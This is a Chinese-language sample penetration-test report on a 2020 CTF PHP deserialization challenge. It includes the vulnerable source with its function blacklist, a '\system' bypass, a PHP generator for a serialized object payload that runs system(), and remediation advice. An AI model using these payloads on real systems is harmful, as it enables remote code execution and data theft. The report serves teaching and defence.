Unserialize
內容
1 摘要
本次滲透測試的標的─「反序列化漏洞」取材自2020年強網盃CTF競賽的Web類題目,目標是要拿到flag.txt(機敏資訊)。通常我們在滲透測試時,為了系統中偵察、提權、取得資訊,都會執行一些指令,例如exec、system等等。而這個標的用黑名單的方式,封掉了大部分的指令。
山不轉路轉,我們檢視原始碼,發現可以透過指令(function)和參數(p),取得網頁的詳細php原始碼,然後進一步發現有反序列化漏洞,於是我們撰寫了一個payload,執行後在原始碼中正確取得flag.txt內容。
結論:要防範這樣的反序列化漏洞並不難,我們有三個選擇,徹底禁用動態執行 unserialize(最根本的解法)、安全地限制 unserialize 的類別(如果非用不可)、移除無用的危險類別。建議選用第一個─徹底禁用動態執行 unserialize。
2 目的和範圍
本次滲透測試的目的,在於重點說明本公司的滲透測試服務,透過完整的報告格式來呈現,使本公司的潛在客戶可以對齊自己的需求,未來可以做為委託本公司進行滲透測試的基準。
|
筆記標題 |
說明反序列化漏洞 |
|
知識描述 |
利用php的「魔術方法」順帶執行我們的payload(惡意程式) |
|
原理思考 |
這個漏洞的關鍵在於參數的濫用,雖然程式設有黑名單,但是在將「數據結構或者對象轉換為方便儲存或傳輸的數據」(序列化),即並且在之後還原(反序列化)時如果沒有黑名單,我們就可以繞過。 |
|
聯想思考 |
即使有黑名單,也可能可以用 func=\system&p=where%20/r%20C:\laragon\www%20flag.* func=\system&p=type
C:\laragon\www\feifei\flag.txt 這樣的指令來繞過 |
|
應用思考 |
一般隨手架設的簡單活動網頁很難遇到反序列化漏洞;但如果你面對的是大型企業、金融機構、背後有複雜框架運作的 Web 應用系統,或者是使用了大量第三方元件、老舊商用套裝軟體的網站,例如Joomla,
WordPress可能會存在。 |
|
經驗聯想 |
看的到程式邏輯,就有機會拿到原始碼,拿的到原始碼就有機會找到後門,能找到後門就有機會找到機敏資訊,能看到機敏資訊就有機會提權和橫向移動 |
|
指導行動 |
多嘗試、多思考,配合閱讀原始碼,很多時候我們看到的錯誤訊息,在原始碼層級會有更多資訊 |
|
工具衍生 |
這個漏洞其實用不到kali,直接在windows平台chrome瀏覽器就能觸發。可見基本觀念的重要性。 |
3 測試方法和流程
測試方法:
一、
掃描工具:Chrome瀏覽器平台
二、
規範:OWASP WSTG-INPV-11[1]
Testing for Code Injection
OWASP Web Security Testing
Guide (WSTG) 是全球資安圈公認最權威的 Web 安全測試藍圖。它不只講理論,而是為滲透測試員提供了一套「標準化動作」,詳細列出針對 Web 應用程式、API 及服務應執行的測試項目。本次滲透測試的反序列化,屬於輸入驗證的一環。
OWASP WSTG-INPV-11
三、
檢查項目:
I.
找出注入點。
II. 評估可利用的漏洞類型及其嚴重程度。
時程表:
一、
掃描、滲透時間:2026/5/23 09:00-18:00
二、
報告撰寫時間:2026/5/30-2026/6/23 09:00-18:00
4 發現的漏洞和風險評估
一、 漏洞名稱和描述:反序列化漏洞,可以遠端執行任意程式
二、 漏洞種類:反序列化漏洞
三、 嚴重性評分(CVSS 評分系統):7.0 to 10(滿分10分)
四、 影響的系統或元件:影響Linux、Windows跨平台作業系統
五、 測試過程中的過程與截圖:目標網站採用來序列化方式顯示目前時間,經過嘗試,可以讀出機敏檔案內容flag.txt(如果進一步取得config.php原始碼,有機會取得資料庫帳號密碼)。
圖 4‑1 關鍵資料洩露與遠端執行程式
六、 潛在的風險和影響:
攻擊向量 (AV:N):通常通過網路即可遠端觸發,無需本地許可權。
攻擊複雜度 (AC:L):一旦在框架或應用中找到公開的 POP 鏈,利用過程通常簡單。
許可權要求 (PR:N):很多情況下無需身份驗證即可攻擊。
影響 (C, I, A):機密性、完整性、可用性通常都是完全破壞,可導致資料洩露或系統被控制。
5 修復建議和策略
一、 针對發現的漏洞,提供具體的修復建議和策略:以白名單方式來構建函數,徹底禁用動態執行 unserialize。
二、 如果網站根本不需要讓使用者動態呼叫
unserialize,可將原本程式碼中允許使用者任意傳入函式執行的邏輯,改成嚴格的白名單。將程式碼下半段修改為:
1.
$func =
$_REQUEST["func"] ?? null;
2.
$p =
$_REQUEST["p"] ?? null;
3.
4.
// 嚴格白名單:只允許安全的時間相關函式
5.
$allowed_funcs
= ["date", "time", "strtotime"];
6.
7.
if
($func !== null) {
8.
$func = strtolower($func);
9.
if (in_array($func, $allowed_funcs, true))
{
10. echo htmlspecialchars(gettime($func,
$p), ENT_QUOTES, 'UTF-8');
11. }
else {
12. die("未授權的函式呼叫。");
13. }
14. }
6 結論
總結本次滲透測試的過程和結果,最重要的發現和建議的二點,第一點是用白名單來取代黑名單,在程式撰寫上會較為安全。第二點,既使不用反序列化漏洞,僅用黑名單來過濾,仍有可能被繞過,所以落實有機會對外的網站,都不要放機敏資訊,沒有資訊就沒有洩露。
反序列化漏洞大多是何種網站/系統?
1. 大型企業的「內部管理系統」與「商用軟體」(最常見)
這是近年來反序列化漏洞的最大災區(例如
CISA 的已知漏洞利用目錄 KEV 中頻繁上榜的軟體)。
l 代表系統:IT 運維管理系統、客服工單系統(如 SolarWinds Web Help Desk)、VPN 閘道器、企業資產管理軟體。
l 原因:這類系統為了在不同的後端模組(例如
Web 前端、資料庫、背景排程作業)之間傳遞複雜的狀態與資料,極度依賴序列化。如果使用了不安全的元件(如早期
Java 的 WebLogic、JBoss,或是特定 .NET 框架),就會留下一擊必殺的後門。
2. 使用特定程式語言框架的舊版網站
某些程式語言天生就將序列化功能融入到了生態系中,使用這些語言開發的網站更容易中招:
l Java 網站:Java 的 RMI、JMX、JMS 等技術本質上就是基於序列化傳輸。早期許多大型銀行、電商或政府的 Java 系統,因為使用了內含「小工具鏈(Gadget Chains)」的第三方函式庫(如 Apache Commons Collections),導致大量網站集體淪陷。
l PHP 的老舊內容管理系統(CMS)或外掛:像 WordPress、Joomla、Magento
等知名系統,雖然核心本體修補很快,但其第三方外掛(Plugins)或舊專案為了在 Cookie/Session 中偷懶儲存複雜的陣列、物件,常會濫用
unserialize()。
l .NET 與 Python 網站:.NET 的 Json.Net(配置不當時)或 Python 的 pickle。特別是
Python 的 pickle,因為功能太強大,只要網站有上傳檔案並用 pickle 讀取的邏輯,就會直接觸發 RCE。
3. 微服務架構與大數據平台
現代網站不再是單一伺服器,而是由幾十個「微服務」拼湊而成。
l 內部通訊節點:當網站的前端把請求送給後端、後端再把資料送給快取伺服器(如 Redis)或訊息佇列(如 RabbitMQ、Kafka)時,為了講求速度,開發者常使用序列化格式傳輸。如果這些內網節點暴露到外網,或者攻擊者能對傳輸內容進行中間人竄改,就會引發連鎖崩潰。
為什麼開發者會寫出這種漏洞?
絕大多數反序列化漏洞的誕生,都源自於同一個不小心的觀念:
「這串資料是我自己伺服器產生、加密、或是放在 Session 裡的,使用者應該改不到吧?」
開發者在設計功能時(例如:購物車暫存、使用者個人化偏好、多伺服器同步),為了貪圖方便,直接把整個物件序列化後存進 Cookie、URL 參數或隱藏欄位(Hidden
Input)。
他們認為:
使用者看不到(其實看得到,只是變成了看似亂碼的 Base64 碼)。
使用者看不懂(其實資安人員與駭客一眼就能拆解出結構)。
當網站過度信任這段「從瀏覽器端送回來」的資料,並在沒有校驗(如加上簽章 HMAC)的情況下直接呼叫了反序列化函式,漏洞就此誕生。
7 附件和參考資料
Step1.
開啟目標網站
https://feifei.test/unserial-ctf-2020.php
圖表 7‑1 初始接觸
Step2.
經測試,file_get_content沒有列入黑名單,於是我們可以讀出原始碼(在檔案前加上view-source:,並加上func和p的函數、參數)
view-source:https://feifei.test/unserial-ctf-2020.php?func=file_get_contents&p=unserial-ctf-2020.php
1. <!DOCTYPE html>
2.
<html>
3.
<head>
4.
<title>phpweb</title>
5.
<style type="text/css">
6.
body {
7.
background: url("bg.jpg")
no-repeat;
8.
background-size: 100%;
9.
}
10. p {
11. color: white;
12. }
13. </style>
14. </head>
15.
16. <body>
17. <script language=javascript>
18. setTimeout("document.form1.submit()",500000)
19. </script>
20. <p>
21. <?php
22. $disable_fun =
array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter",
"array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var",
"filter_var_array", "uasort", "uksort",
"array_reduce","array_walk",
"array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
23. function gettime($func, $p) {
24. $result = call_user_func($func, $p);
25. $a= gettype($result);
26. if ($a == "string") {
27. return $result;
28. } else {return "";}
29. }
30. class Test {
31. var $p = "Y-m-d h:i:s a";
32. var $func = "date";
33. function __destruct() {
34. if ($this->func != "")
{
35. echo gettime($this->func,
$this->p);
36. }
37. }
38. }
39. $func = $_REQUEST["func"];
40. $p
= $_REQUEST["p"];
41.
42. if
($func != null) {
43. $func = strtolower($func);
44. if (!in_array($func,$disable_fun)) {
45. echo gettime($func, $p);
46. }else {
47. die("Hacker...");
48. }
49. }
50. ?>
51. </p>
52. <form
id=form1 name=form1 action="unserial-ctf-2020.php"
method=post>
53. <input type=hidden id=func name=func
value='date'>
54. <input type=hidden id=p name=p
value='Y-m-d h:i:s a'>
55. </body>
56. </html>
Step3.
從原始碼我們可以看到,system在黑名單內,那如果我們用\system就可以成功繞過
view-source:https://feifei.test/unserial-ctf-2020.php?func=\system&p=type%20C:\laragon\www\feifei\flag.txt
圖表 7‑2 FLAG.TXT內容
系統正確顯示flag.txt內容:
<p>
ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>
1.
<!DOCTYPE html>
2.
<html>
3.
<head>
4.
<title>phpweb</title>
5.
<style type="text/css">
6.
body {
7.
background: url("bg.jpg")
no-repeat;
8.
background-size: 100%;
9.
}
10.
p {
11.
color: white;
12.
}
13.
</style>
14.
</head>
15.
16.
<body>
17.
<script
language=javascript>
18.
setTimeout("document.form1.submit()",500000)
19.
</script>
20.
<p>
21.
ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>
22.
<form id=form1 name=form1
action="unserial-ctf-2020.php" method=post>
23.
<input type=hidden id=func name=func
value='date'>
24.
<input type=hidden id=p name=p
value='Y-m-d h:i:s a'>
25.
</body>
26.
</html>
Step4.
那如果我們改用反序列化漏洞呢:我們先構建一個payload-win-1.php
1.
<?php
2.
// 1. 定義與目標環境一模一樣的類別結構
3.
class Test {
4.
var $p;
5.
var $func;
6.
}
7.
8.
// 2. 建立物件並填入 Windows 攻擊指令
9.
$a = new Test();
10.
$a->p = "cmd /c type
c:\\laragon\\www\\feifei\\flag.txt";
11.
$a->func =
"system";
12.
13.
// 3. 進行序列化
14.
$serialized_data =
serialize($a);
15.
16.
// 4. 自動組裝成漏洞所需的參數格式
17.
$raw_payload =
"func=unserialize&p=" . $serialized_data;
18.
19.
// 5. 將整體(或僅參數部分)進行 URL 編碼,確保傳輸不破裂
20.
// 實務上我們通常只編碼 p 的值,最符合手動貼入 Burp 的需求
21.
$final_payload =
"func=unserialize&p=" . urlencode($serialized_data);
22.
23.
// --- 畫面輸出(方便你複製) ---
24.
echo "--- [ 複製這串直接貼進 Burp Suite 的 Body ] ---\n";
25.
echo $final_payload;
26.
echo "\n\n";
27.
28.
echo "--- [ 原始未編碼對照(方便排錯檢查) ] ---\n";
29.
echo $raw_payload;
30.
echo "\n";
31.
?>
Step5.
程式執行後,我們將結果複製起來
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:42:"cmd
/c type
c:\laragon\www\feifei\flag.txt";s:4:"func";s:6:"system";}
1.
--- [ 複製這串直接貼進 Burp Suite 的 Body ] ---
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A42%3A%22cmd+%2Fc+type+c%3A%5Claragon%5Cwww%5Cfeifei%5Cflag.txt%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
--- [ 原始未編碼對照(方便排錯檢查) ] ---
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:42:"cmd
/c type
c:\laragon\www\feifei\flag.txt";s:4:"func";s:6:"system";}
Step6.
貼到下列網址並檢視原始碼:
view-source:https://feifei.test/unserial-ctf-2020.php?func=unserialize&p=O:4:%22Test%22:2:{s:1:%22p%22;s:42:%22cmd%20/c%20type%20c:\laragon\www\feifei\flag.txt%22;s:4:%22func%22;s:6:%22system%22;
1.
<!DOCTYPE html>
2.
<html>
3.
<head>
4.
<title>phpweb</title>
5.
<style type="text/css">
6.
body {
7.
background: url("bg.jpg")
no-repeat;
8.
background-size: 100%;
9.
}
10.
p {
11.
color: white;
12.
}
13.
</style>
14.
</head>
15.
16.
<body>
17.
<script
language=javascript>
18.
setTimeout("document.form1.submit()",500000)
19.
</script>
20.
<p>
21.
<br />
22.
<b>Warning</b>: unserialize(): Error at offset 96 of 96 bytes
in <b>C:\laragon\www\feifei\unserial-ctf-2020.php</b> on line
<b>25</b><br />
23.
ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>
24.
<form id=form1 name=form1
action="unserial-ctf-2020.php" method=post>
25.
<input type=hidden id=func name=func
value='date'>
26.
<input type=hidden id=p name=p
value='Y-m-d h:i:s a'>
27.
</body>
28.
</html>
圖表 7‑3 得到flag.txt
[1] https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection